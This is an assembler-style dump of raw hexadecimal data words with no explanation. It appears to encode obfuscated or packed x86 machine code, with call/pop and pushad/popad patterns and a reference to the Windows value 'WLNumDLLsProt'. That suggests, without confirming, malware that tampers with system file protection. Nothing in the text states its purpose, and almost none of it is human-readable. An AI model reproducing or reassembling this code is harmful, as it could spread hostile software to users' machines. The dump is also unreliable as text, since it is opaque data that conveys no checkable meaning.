10303C2Fh dd 56C01A68h, 0DF7865C9h, 3153DD44h, 0EA815956h, 2F14689Fh dd 0BEE5E881h, 0EA813EF5h, 36BF17A1h, 0AE9h, 2F02C700h dd 48AA162h, 89C96287h, 81513314h, 22B796E8h, 0EE815919h dd 0EB0AF41h, 664BE981h, 0C6810E89h, 0EB0AF3Dh, 11E8h dd 334BEC00h, 0B958DBBAh, 92025079h, 8B630DA4h, 59F811C0h dd 95E8FE81h, 850FFFFFh, 1Dh, 5999B156h, 35E9h, 15311000h dd 5D933AF1h, 4DF57707h, 0A4E0ECC3h, 0F389441Bh, 58A0FBFh dd 66000000h, 47D8D781h, 0FFFF4EE9h, 4EB1A8FFh, 0DFBE761Bh dd 5808DB4Ah, 8E8909DCh, 11E868BAh, 52000000h, 0E14DF3D7h dd 3EAD5B24h, 168D3EF5h, 6585B015h, 6FDA8166h, 81F55EADh dd 69C1C6h, 6CBFF800h, 817A9A17h, 9A0D26F7h, 0B70F537Ah dd 36FF5ACEh, 58DA8B66h, 81CAB70Fh, 7808C8C0h, 0CB816618h dd 0F0818FC5h, 1BC88514h, 0E881F38Ah, 588FBE4Bh, 8975E680h dd 2840F06h, 8A000000h, 1EE83ECh, 0A2C98166h, 4E4E4E2Ah dd 3FBC8ABBh, 850F4F28h, 17h, 2890Fh, 0DA8B0000h, 1BE9h dd 67674300h, 0AA77865Bh, 80C1558Eh, 9BE951CEh, 1FFFFFFFh dd 1D791C9Ah, 3C9B46CCh, 21504EBh, 13E90000h, 29000007h dd 2B17159Dh, 0B8F56006h, 0 dd 24548BFCh, 899D3128h, 89062B1Ch, 2B124585h, 68F0F06h dd 89000000h, 2B0D31BDh, 3CBE06h, 8D890000h, 62B273Dh dd 0AE9h, 0E4388500h, 0AB10498Ah, 3AE72C8h, 0F8242474h dd 7E9AD66h, 5F000000h, 84BD3BD0h, 31608DD2h, 2B0851B5h dd 0AE806h, 0DCD70000h, 0F27F799Eh, 97FFED7Ah, 1CD59589h dd 615E062Bh, 24244403h, 68A0Fh, 0BD890000h, 62B2C7Dh dd 6890F60h, 8B000000h, 2B27498Dh, 60906106h, 0C38B6660h dd 4EF4BB66h, 0E9506161h, 13h, 3AAF936Ch, 0AC54B2A1h, 82D82538h dd 1F581198h, 90D2773Eh, 0C8E0Fh, 8A0F0000h, 6, 800Fh dd 408B0000h, 0F9B58978h, 3062B10h, 89282444h, 2B25D195h dd 18408B06h, 6830Fh, 0B5310000h, 62B2FDDh, 0C9B52940h dd 89062B2Ch, 2B3C1685h, 0CE96006h, 5E000000h, 0E229582Bh dd 8873D21Ah, 804DAB93h, 586195F2h, 35C18D89h, 708B062Bh dd 0A8E0F78h, 60000000h, 880F6160h, 0 dd 1CC68361h, 1D9D0960h, 0BA062B1Bh, 1E3614A4h, 24740361h dd 9D336024h, 62B330Dh, 34559D31h, 8D61062Bh, 2B0039BDh dd 79BD8906h, 0AD062B1Ch, 0CE9h, 386A9900h, 52A4A9C3h dd 0B8B7C3Fh, 244403BBh, 6820F24h, 60000000h, 5E53D88Bh dd 820FAB61h, 0Ch, 6840Fh, 85890000h, 62B2185h, 6D5BD8Dh dd 9D89062Bh, 62B1581h, 0EE9ADh, 15350000h, 8DBDFADDh dd 0D1600813h, 7126F7CBh, 24244403h, 68B0FF5h, 31000000h dd 2B2B65BDh, 870F5006h, 1Ch, 0FE95250h, 53000000h, 0B6C2D9D4h dd 0FE5EA07Eh, 0A62ED66Eh, 310F41B8h, 585A6160h, 0F240489h dd 1481h, 0FE900h, 27AD0000h, 87527C98h, 0EF54F3D0h, 533DE28Ah dd 8960AB11h, 2B1CDDBDh, 0FE85106h, 63000000h, 0E0F697EEh dd 226ACBCEh, 7E6B9DE7h, 595A8903h, 0CDBD8D61h, 1062B0Dh dd 2B24A99Dh, 8D0FAD06h, 16h, 11E9h, 0E3BC2F00h, 4AA6E01Eh dd 2037FB4Ch, 0C64F92CFh, 44034E1Bh, 0B5892824h, 62B29EDh dd 0AE9ABh, 0D2D80000h, 0E6AD53B9h, 74CE5304h, 83B3605Eh dd 2C058D89h, 0FF61062Bh, 2B3C168Dh, 16BD8306h, 62B3Ch dd 44C71075h, 1C24h, 0B58D0000h, 62B40DAh, 0AD56E6FFh dd 28244403h, 8ADF8B97h, 2B332D85h, 74C08406h, 75073A04h dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh dd 4585FF04h, 0E9062B12h, 0FFFFFF6Fh, 0A8E0F5Eh, 0E9000000h dd 5, 0CDB77789h, 5B5892Eh, 8B062B33h, 2B124585h, 0D8F0F06h dd 60000000h, 0A009C0B8h, 6D9D8958h, 61062B06h, 0B529E0D1h dd 62B24C9h, 0CD8503F5h, 60062B0Dh, 11E9h, 2F135A00h, 0AC9B96CDh dd 0D8CB2411h, 0DDF60AF8h, 8B66881Dh, 0F62B61CBh, 0C820Fh dd 8C0F0000h, 6, 5FDBD29h, 8960062Bh, 2B21F585h, 0C2816606h dd 9661542Ch, 5E9h, 75522A00h, 0AD66CFE9h, 9C19529h, 0B531062Bh dd 62B28C1h, 0F02E0C1h, 0E85h, 9E900h, 0E8DE0000h, 4409ABBh dd 3450185h, 2B003985h, 0C9852906h, 96062B19h, 810FADF8h dd 0Ch, 6810Fh, 9D890000h, 62B25D5h, 24244C8Bh, 12E9h dd 82E60300h, 2AB6D626h, 0DE9A9108h, 0B248E4C6h, 0F800B2B5h dd 24244403h, 0BBD8589h, 4489062Bh, 96F81C24h, 1870F60h dd 0FC000000h, 1A898D89h, 0AC61062Bh, 89C932F5h, 2B2B7D95h dd 89C1FE06h, 2B0D7985h, 0FD0D006h, 9D83h, 14870F00h, 0E9000000h dd 0Fh, 0D4A184FAh, 0B6F15927h, 0D80D83A3h, 0D00BE6DAh dd 7B830FD0h, 1000000h, 2B328995h, 0FD0D006h, 6D82h, 0C800F00h dd 0F000000h, 68Ah, 0B9BD0100h, 0D0062B26h, 53820FD0h dd 60000000h, 0B2CB8B66h, 0C9FE618Dh, 0FF9F890Fh, 9D09FFFFh dd 62B01B5h, 6020C483h, 8BD8BF0Fh, 44C761C7h, 0FC24h, 0B8F50000h dd 1, 0B4B15260h, 8D8D615Fh, 62B7186h, 0C8C0Fh, 8E0F0000h dd 6, 2C3D9589h, 0E1FF062Bh, 18B59D01h, 85C6062Bh, 62B332Dh dd 0A18D8900h, 60062B28h, 8995BF66h, 6161D88Bh, 0A810Fh dd 0B9600000h, 14E3D669h, 61C7B70Fh, 0F0008C2h, 681h, 19B58900h dd 96062B2Ch, 19860Fh, 840F0000h, 13h, 0EE9h, 2D076300h dd 1B0C63C0h, 0BFD691ACh, 50D0BBEEh, 0CE9h, 9EF83C00h dd 0ADF3B73Dh, 9D5D6186h, 666096D9h, 662CA8BFh, 0A30CD381h dd 0EEB58961h, 9062B42h, 2B2BF995h, 0E8D8906h, 60062B43h dd 0EA8AF98Bh, 0DFB58D61h, 0E9062B41h, 13h, 0BE3DCF51h dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0F5E9786h, 68Fh, 0F5BD0100h dd 8D062B1Bh, 5B8EA185h, 8D896000h, 62B07D1h, 0A8F0Fh dd 5E90000h, 55000000h, 0F9DC28A3h, 0D0FFF861h, 271D8D89h dd 0F5E062Bh, 78Ah, 1890F00h, 0F8000000h, 61BBB660h, 0A8D0FC3h dd 60000000h, 0F7816160h, 480B94D8h, 41852961h, 8B062B34h dd 2B42EEB5h, 71950106h, 89062B34h, 2B197DB5h, 0E8D8B06h dd 60062B43h, 1BD9BD89h, 8960062Bh, 2B179995h, 85BD8B06h dd 61062B2Dh, 0B8666061h, 858B3B04h, 62B2641h, 0FC02B61h dd 18Ah, 9D01F800h, 62B2C9Dh, 850FD98Bh, 6, 1D6D8D29h dd 0E9F8062Bh, 82h, 45B58B60h, 61062B11h, 8E0F2632h, 6 dd 19E19529h, 2B2062Bh, 2E899589h, 9E9062Bh, 0 dd 8BAAA216h, 7F5FB749h, 23E9h, 0C232FC00h, 1D7A05F8h dd 9D098A75h, 62B28A9h, 0D3F5CC8Ah, 4235F8C8h, 0F898D108h dd 9589CAFEh, 62B2759h, 850FD20Ah, 0FFFFFFD6h, 0F0BF0F60h dd 8536BE60h, 9529278Fh, 62B0FB9h, 94B6161h, 2B0A29BDh dd 8A0F4606h, 6, 6A18589h, 0DB0B062Bh, 0FF7E850Fh, 8F0FFFFFh dd 0Ch, 6860Fh, 0B5890000h, 62B2AF9h, 10E9CFh, 84570000h dd 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0FCB5h, 11E9h, 0CA55E100h dd 0B797E517h, 0B52DFAEDh, 9F9C7F83h, 5D63h, 2CE59D89h dd 62Bh, 0FE9h, 0AFBF1D00h, 0F73941B6h, 0E4FEB4h, 1E73E806h dd 820F0000h, 6, 8ADE8B60h, 858D61D9h, 62B3C25h, 1CC5BD29h dd 8589062Bh, 62B1C29h, 4840Fh, 0F5600000h, 858D61F8h dd 62B410Fh, 0C58589FCh, 0EB062B32h, 14h, 3 dup(0) dd 8800h, 29858D00h, 89062B44h, 2B2D1585h, 69BD8306h, 62B43h dd 12C840Fh, 85C60000h, 62B332Dh, 3BD6856h, 481BF0Dh, 12697C24h dd 1DB5FF15h, 8D062B0Bh, 2B3C2585h, 89D0FF06h, 2B435D85h dd 2D85C606h, 56062B33h, 9EC6268h, 243481D4h, 48A15430h dd 0B1DB5FFh, 858D062Bh, 62B3C25h, 8589D0FFh, 62B4361h dd 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 2B436D85h dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 2B436195h dd 65858906h, 8B062B43h, 0FFFFB8D8h, 95FFFFFFh, 62B2D15h dd 95FFC38Bh, 62B2D15h, 8DE9h, 69BD8300h, 62B43h, 1850Fh dd 57C30000h, 4365BD8Bh, 83AB062Bh, 2B436585h, 0C35F0406h dd 4369BD83h, 0F00062Bh, 185h, 8360C300h, 2B4365ADh, 9D8B0406h dd 62B4365h, 0FFFC7B83h, 1D850Fh, 22680000h, 8192E069h dd 16DE2404h, 6A6D20h, 95FF33FFh, 62B435Dh, 26E9C361h dd 0E8000000h, 4, 8000h, 24448B50h, 89008B04h, 58042444h dd 33FF006Ah, 435D95FFh, 0AD83062Bh, 62B4365h, 0FFA8E904h dd 0E948FFFFh, 9D3h, 18D9B3D6h, 0B0DA3DDBh, 1D08908Ch dd 0E3F46E76h, 129D9583h, 32E0791Eh, 0D668F54Dh, 0A3FA4727h dd 15D9958Bh, 0B8D67FD0h, 4E5A879Eh, 0A6F37C67h, 71F2DE8Ch dd 26EA736Eh, 8464F450h, 0A5F84727h, 15D99684h, 0A5C97FCAh dd 505A9884h, 0B1E8627Bh, 1299D098h, 22FD3F5Ah, 0D629E550h dd 0A5ED0926h, 0CD98090h, 0A5C830CCh, 54988Ah, 63h dup(0) dd 11D9B3D6h, 0A3C631D1h, 4D5A8784h, 0B1E0606Ch, 14D89D80h dd 25AF6C5Fh, 8426F446h, 0A4E14634h, 98BD281h, 0B9C631D0h dd 5313D58Ch, 0B6E8763Eh, 58BD093h, 2AEA6B4Dh, 0F4459B0Dh dd 0B9F54C3Eh, 9D9DE80h, 0B6C033D0h, 4913D58Fh, 0ACF5693Eh dd 1995D08Ch, 3EFD7053h, 0C026F003h, 0B9F15B72h, 88B9391h dd 0A2C0269Eh, 4F0AD599h, 0A2F56871h, 0DE8Ch, 48h dup(0) dd 1FD9B3D6h, 0BCCC3ECCh, 4E5D878Eh, 0ACE87B3Eh, 1D90D08Dh dd 22ED3F4Dh, 0C268FF46h, 0AEFA5C3Dh, 128C80C5h, 0B0C136D0h dd 1D149CCBh, 0B1F26067h, 0F8183C1h, 69E27A4Ah, 0C8189C29h dd 0AFE74837h, 128CD2C9h, 0B3CE30D2h, 1D0E9CCBh, 0AEE87D78h dd 119D9DC1h, 67F66D51h, 842CFF42h, 0BEE74C20h, 5C8D8084h dd 0A5DA30C7h, 520885CBh, 0AEE67D79h, 0CFh, 61h dup(0) dd 1090B4D6h, 0B8CC7FDBh, 4D0F8799h, 0E2E36A6Ah, 14ACD0CFh dd 37AF6C57h, 0D62FFE51h, 0A2B44433h, 1ED98184h, 0F7C13ADBh dd 54149486h, 0A2EB7A6Eh, 5C9C9595h, 67EB715Fh, 0C631F04Eh dd 0A3992337h, 5C8AD591h, 0B2C931D7h, 591F8188h, 0E3FE6D3Eh dd 15AED080h, 67FC6A4Ch, 0C768E34Ch, 0A1F74820h, 5CD79680h dd 0A4C637EAh, 511393CBh, 0ACF02F7Bh, 5C8CD78Fh, 2CFD7049h dd 0DD26F003h, 0AFE6463Fh, 0CBh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2C86h, 8999D8Bh, 8B0F062Bh, 1, 360FCF9h dd 2B32AD95h, 0CBB70F06h, 0B2C08B61h, 0F9BD83BFh, 62B01h dd 0BD830975h, 62B1689h, 50137400h, 0B8C08B53h, 1, 0BE179D8Dh dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50117400h, 1B853h dd 9D8D0000h, 62DBCC8h, 585BD3FFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 8BC35141h, 89798A74h, 2B1C25BDh dd 2D952906h, 0F062B05h, 88Bh, 2800F00h, 0B2000000h, 5BD28168h dd 8B6D85C5h, 0D98529C0h, 0F8062B0Ch, 3309BD83h, 0F00062Bh dd 1D084h, 66606000h, 8B2523BBh, 2B10E585h, 9E96106h, 82000000h dd 1A0AC4BCh, 4BEF3B6Ah, 15BD8361h, 62B0Bh, 1A7840Fh, 810F0000h dd 12h, 0DE9h, 9AECFD00h, 8F26ED6Bh, 4E027423h, 6A6027E6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 3E2DC353h, 79CF6D75h, 0B15858Bh, 8589062Bh dd 62B203Dh, 3E805h, 9FDBBA00h, 8B502274h, 240489DEh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 40C35242h, 4730E94Ch dd 0E8FA6679h, 4E76858Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 90090BC3h, 9050D38Bh dd 8DDFBF0Fh, 2B4E5485h, 0D6DA8106h, 0BB446346h, 6AAD9D1Bh dd 66606090h, 0FD31AB9h, 8Bh, 60606100h, 615E5761h, 0D08B5061h dd 0FF17B690h, 2B2C3995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0F8F4C088h dd 8DFD4B66h, 0CC483D3h, 1890Fh, 8DF50000h, 2B4E5485h dd 3D958B06h, 50062B11h, 66525057h, 0F87D9BAh, 5A5B5331h dd 4895A58h, 95958B24h, 0E8062B1Eh, 0Dh, 0C1B9D08Dh, 71F070EBh dd 3C9D7EDDh, 1D0FBB1Eh, 6A5A3A83h, 0C880F02h, 0F000000h dd 687h, 0AD9D8B00h, 0FF062B34h, 6AED1495h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 666A9EEFh, 0E5F2E381h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0CE21E0CFh dd 319DD17Ah, 2B068D8Dh, 8785C706h, 1062B4Eh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0BBCAC352h, 0A5AA9C3Ch, 9D337764h, 62B24D9h dd 17860Fh, 0FE80000h, 0DA000000h, 26216C0h, 0E3BC2FFCh dd 4AA6E01Eh, 61B7FB4Ch, 3489505Ah, 0C9950B24h, 89062B18h dd 2B4E38B5h, 0B016BB06h, 0BD8312F9h, 62B0A01h, 75850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F2AC352h, 0F883DEB7h, 4D850F05h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 5133C355h, 36E4548Ah, 8BC305C9h dd 2B2A0D95h, 0EE96006h, 89000000h, 0E468BA8Eh, 0BA26DEFAh dd 232E9D50h, 0F7BF0F85h, 0B861h, 85890000h, 62B0D49h dd 1AE9BD83h, 0F00062Bh, 1C84h, 0D9B58900h, 60062B2Ch dd 0B219D89h, 95FF062Bh, 62B1AE9h, 0A9DAEA81h, 8B612878h dd 89BD83D1h, 62B2Ch, 12840Fh, 7E90000h, 73000000h, 0E02D2768h dd 0B8EE5Fh, 0FC000000h, 17C68060h, 2B39858Bh, 0BB66062Bh dd 57604D87h, 6E9h, 0FF221200h, 5EDCFAF2h, 836155B4h, 665002C0h dd 5A14C8BBh, 4E308589h, 9D23062Bh, 62B1FB9h, 0C6FBCB80h dd 0BF0FFF00h, 2D85C6D8h, 53062B33h, 0BE8h, 39277400h dd 7180FCEDh, 0C69C38CDh, 5E9h, 8AFD3600h, 0E85AD468h dd 4, 0FCB148D8h, 6650FC8Ah, 8BA30FBBh, 0E9042444h, 11h dd 0D39A04BFh, 0F16C7455h, 9A0E27F3h, 94A094A5h, 66008B7Dh dd 898F4FBAh, 66042444h, 58531FBAh, 0BEA8BB66h, 1BDDB5FFh dd 8B66062Bh, 0EB858DDFh, 6A062E83h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 215C351h dd 0C4D1E365h, 0DFC38089h, 8FF28166h, 0E9D0FF27h, 12h dd 99F9614Ah, 0B73FD324h, 9EECE105h, 9110B09h, 85899494h dd 62B2945h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 8BC35141h, 7E8E85ABh, 0BB669C48h, 0BD83E680h, 62B1535h dd 0D850F01h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0DC9CC352h, 13E9ADh dd 0D24F0000h, 0B7CFEB56h, 0F138E895h, 537F2047h, 0EE04D3DBh dd 91B761F2h, 0AC28166h, 2D85C687h, 45062B33h, 18B1B589h dd 0D38A062Bh, 0CF9F5C68h, 0E9606065h, 0Fh, 9B1C5CA7h dd 94718982h, 1BB4829Ch, 665B32B4h, 5061D78Bh, 0FB8B6652h dd 585A310Fh, 24048161h, 74909966h, 210D958Bh, 0B5FF062Bh dd 62B1BDDh, 0FE8h, 0BFE4500h, 0D1406D8Ch, 0A2567BABh dd 198D936Ah, 0F1BB5BF5h, 8D44F789h, 2E83EB85h, 6BBA6606h dd 6AD0FF87h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 989BC355h, 9006A90h, 2B1C65B5h dd 0E0D78006h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 24FD40C3h, 803B6877h, 1604BF7h dd 2B1F5D8Dh, 0D8D0906h, 61062B1Dh, 1B39BD83h, 0F01062Bh dd 0DB85h, 0F9958B00h, 8B062B06h, 2B2B3985h, 0ED958B06h dd 0E9062B2Ah, 88h, 2775958Bh, 8B90062Bh, 515150D0h, 310F5250h dd 5A5B585Ah, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0D43AE8C7h, 0D8FAB6A6h, 0C2813571h dd 6D18B0C1h, 0EE9h, 18F69F00h, 8BB39CF3h, 0AEC082F0h dd 6AB7341Fh, 28A0F14h, 0B7000000h, 4595FFCFh, 80062B29h dd 0E8587EF6h, 0Fh, 9D016D7Fh, 0BA621E55h, 0E2C026D4h dd 8B196ECBh, 2B1FC995h, 9D8B5B06h, 62B272Dh, 0F003880h dd 0FFFF7585h, 0C649B3FFh, 6A0100h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 140C4EC3h dd 0C999F4FFh, 68A0Fh, 9D8B0000h, 62B24A5h, 0D18B6661h dd 5BDE8B51h, 5C5BD83h, 0F00062Bh, 7B84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3C87EE53h, 0D98B6628h, 14E9FF6Ah, 74000000h, 8CA8019Eh dd 4C069C78h, 133A71F7h, 555E790Fh, 0FF30E6D1h, 2B294595h dd 69958B06h, 0E9062B0Dh, 0FFFFFFD4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0F4C35646h, 0DBEB22C6h, 1599D8Bh dd 9D0B062Bh, 62B1875h, 5C585C7h, 1062Bh, 95330000h, 62B2971h dd 4E3C8589h, 8BF5062Bh, 525090D1h, 0A81C5BAh, 0F310F5Ah dd 284h, 5AD98B00h, 830F5058h, 5, 7C193BBBh, 9D8B9021h dd 62B0545h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0AF24355Eh, 754363C5h, 6A056Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0F0A6B6C3h, 0A6DA1897h, 858DD38Bh, 62B4E54h, 0F21B529h dd 6050062Bh, 615F5660h dd 8B665250h, 0BF310FD3h, 394CBDA9h, 8961585Ah, 8DF82404h dd 2B4E4485h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 665084BEh, 489D38Bh, 50006A24h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F602D3Eh, 9D89CEB7h, 62B0DD5h, 0DD95FF61h, 0F5062B0Ch dd 7AC18D8Dh, 9D89062Bh, 62B28B9h, 1174C00Bh, 4E54858Dh dd 0FF50062Bh, 728589D1h, 0EB062B4Eh, 7285C70Ah, 0FF062B4Eh dd 0E8FFFFFFh, 0Ch, 36D9F028h, 99242FB4h, 0F43D9DD9h, 30399D8Bh dd 6A5A062Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6130C353h, 3860F52h, 80000000h dd 8B5BB2CAh, 2B193595h, 2D85C606h, 4D062B33h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9AC35242h, 0DA116A78h dd 0AC40B2F5h, 319D0104h, 68062B1Dh, 80EC16A0h, 0BE9h dd 0C29D5C00h, 3294BD2h, 68ED2D62h, 8243481h, 6624D960h dd 589CA81h, 181B5FFh, 8A0F062Bh, 3, 8DD6B70Fh, 2E83EB85h dd 68B0F06h, 89000000h, 2B33998Dh, 66D0FF06h, 8945C5BAh dd 2B2BDD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0C6647D8Ah, 2B332D85h, 0FCB24506h dd 5745CA81h, 346842D2h, 0E9EE9B40h, 11h, 0B93C863Eh, 98652915h dd 0FD50DA2Ah, 39316CB4h, 24348187h, 60E9295Dh, 33598D89h dd 0B5FF062Bh, 62B1BDDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0D2C35747h, 0FE99Ch, 6BC80000h, 33948E3Bh dd 1E8942Dh, 0EB93C8D2h, 858DF56Ah, 62E83EBh, 2F118529h dd 0D0FF062Bh, 10E8h, 0C7845000h, 78630C4Bh, 6134E13Dh dd 630B7343h, 0BE9A9h, 0B6820000h, 0BEEFC83Eh, 0BB80016h dd 85895BF6h, 62B0EA1h, 6719589h, 0D28B062Bh, 16319D8Bh dd 8C66062Bh, 359D03D9h, 0F6062B0Ch, 840F04C1h, 20Eh, 6840Fh dd 95030000h, 62B3031h, 163E9h, 99958B00h, 8B062B1Fh, 2B260DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 69BBCD0Fh, 52366797h, 14E8h, 681A8000h dd 0B3890444h, 0B5F7F046h, 0B31A0DE5h, 6832FB29h, 41958B2Ch dd 5B062B09h, 80C6815Bh, 6A000011h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AE5DC351h dd 19BD8912h, 83062B21h, 2B26BDBDh, 850F0006h, 23h, 12800Fh dd 6E80000h, 5F000000h, 277B3A09h, 0AD9D8986h, 5B062B08h dd 0A1E9h, 98EB8100h, 831D521Bh, 840F003Eh, 92h, 6A60D88Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 303C350h, 54B0DEFCh, 0BAE3CDAAh, 5F6597B3h dd 65A4CB81h, 958B7667h, 62B0605h, 6A146Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E81997C3h dd 0FF011D2Ch, 2B294595h, 18B0F06h, 0F9000000h, 88E9F561h dd 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0F070C350h, 9D7EDD71h, 6C7D18Bh dd 1, 0DE9h, 0CBDED900h, 9D9E585Ah, 0BDE20A1Ch, 0BD89D465h dd 62B2F65h, 4E3CBD83h, 0F05062Bh, 8D85h, 8BDF8B00h, 2B0EA1B5h dd 0B906B306h, 64h, 2FA9958Bh, 9D8B062Bh, 62B0185h, 0FE83E80h dd 984h, 0D78B6600h, 11E9h, 7E80F500h, 840FC205h, 48h dd 2EA98589h, 8146062Bh, 0A74086F2h, 850F4961h, 0FFFFFFD0h dd 0E9B8F680h, 3Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 1C35343h, 0DC8AE13Eh, 163D8D89h, 9D8B062Bh dd 62B2F3Dh, 191B589h, 8B60062Bh, 2B02199Dh, 0E9586106h dd 11h, 8CF8EA20h, 819151A8h, 0F69BB0EBh, 49C411CCh, 834FB69Ah dd 2B2B09BDh, 840F0006h, 0D3h, 0C35670BAh, 0BD896059h dd 62B2409h, 0EEEB8166h, 2D85C64Ch, 54062B33h, 9E9h, 7C204E00h dd 37F8DB9Ah, 616872F7h, 819A3B15h, 0A9932404h, 95896513h dd 62B2E0Dh, 1BDDB5FFh, 0BF0F062Bh, 0EB858DDFh, 6A062E83h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0D7C9C351h, 0D01C63D0h, 0FFDBE8FEh, 70BA66D0h dd 0B6006AD6h, 2890FC0h, 8B000000h, 9B5FFD3h, 6A062B2Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8BB1C351h, 2B21119Dh, 6820F06h, 2B000000h dd 2B2EF59Dh, 6AD0FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0CB7EC357h, 0C76103BAh dd 2B05A985h, 106h, 0C3BFBB00h, 0EE801CEFh, 14E860BBh dd 28000000h, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh, 678B181Eh dd 0F30907Fh, 681h, 7DBD8900h, 5A062B27h, 0C62BE868h, 0D08B52A2h dd 2404815Bh, 5D39D498h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 18C35646h, 408C90ABh, 9D59D2Bh, 0FF6A062Bh dd 2925B589h, 0F60062Bh, 182h, 0BD8BFC00h, 62B0E7Dh, 0C595FF61h dd 6A062B28h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A54EC356h, 43F45940h, 1B7D9D23h dd 0F61062Bh, 0E850D3BFh, 6, 0E95150BEh, 0D98BE8C3h, 2404895Ah dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E0C35545h dd 1DB1A956h, 7B5E67F4h, 8916D380h, 2B0A11B5h, 45858B06h dd 89062B20h, 2B02318Dh, 0FC00B06h, 1D84h, 9E900h, 813B0000h dd 0C12236Dh, 0FF6DF7B8h, 2B02D995h, 0BB666006h, 8B66480Ah dd 85C761D8h, 62B1835h, 1, 81F28166h, 3DBD83BEh, 62B08h dd 30840Fh, 85890000h, 62B10A9h, 0B4995FFh, 6A062Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 40C24BC3h, 800A5F1Ch, 0BD8362CEh, 62B0295h, 29840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0DB58C351h, 5E3C5D26h, 25E595FFh dd 0AFB3062Bh, 265BD83h, 0F00062Bh, 2984h, 0C1850900h dd 83062B17h, 2B2A75BDh, 850F0006h, 16h, 48E7D381h, 9D8B1A63h dd 62B1FB9h, 0A3595FFh, 0BA66062Bh, 0BD83FB6Fh, 62B1939h dd 40840F00h, 0E9000000h, 0Fh, 9199ACE3h, 0F3425219h, 0F11854CEh dd 819A6C27h, 2B1B8185h, 400306h, 89850900h, 81062B17h dd 2B347985h, 400306h, 68D0F00h, 8B000000h, 2B34D19Dh dd 0E9858906h, 0F062B1Eh, 0D19D8B31h, 89062B0Dh, 2B05098Dh dd 0D78D8D06h, 6A062B5Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0C139C355h, 679E226Bh dd 0CE9D4D8h, 2F000000h, 74221981h, 9109D443h, 8927EAA9h dd 3389B201h, 0DA8166C2h, 4189BC2Ah, 0BE904h, 25980000h dd 0D3C151F8h, 6EBE774Ah, 51310F96h, 0CB1DBB66h, 0E78D8D5Ah dd 81062B5Dh, 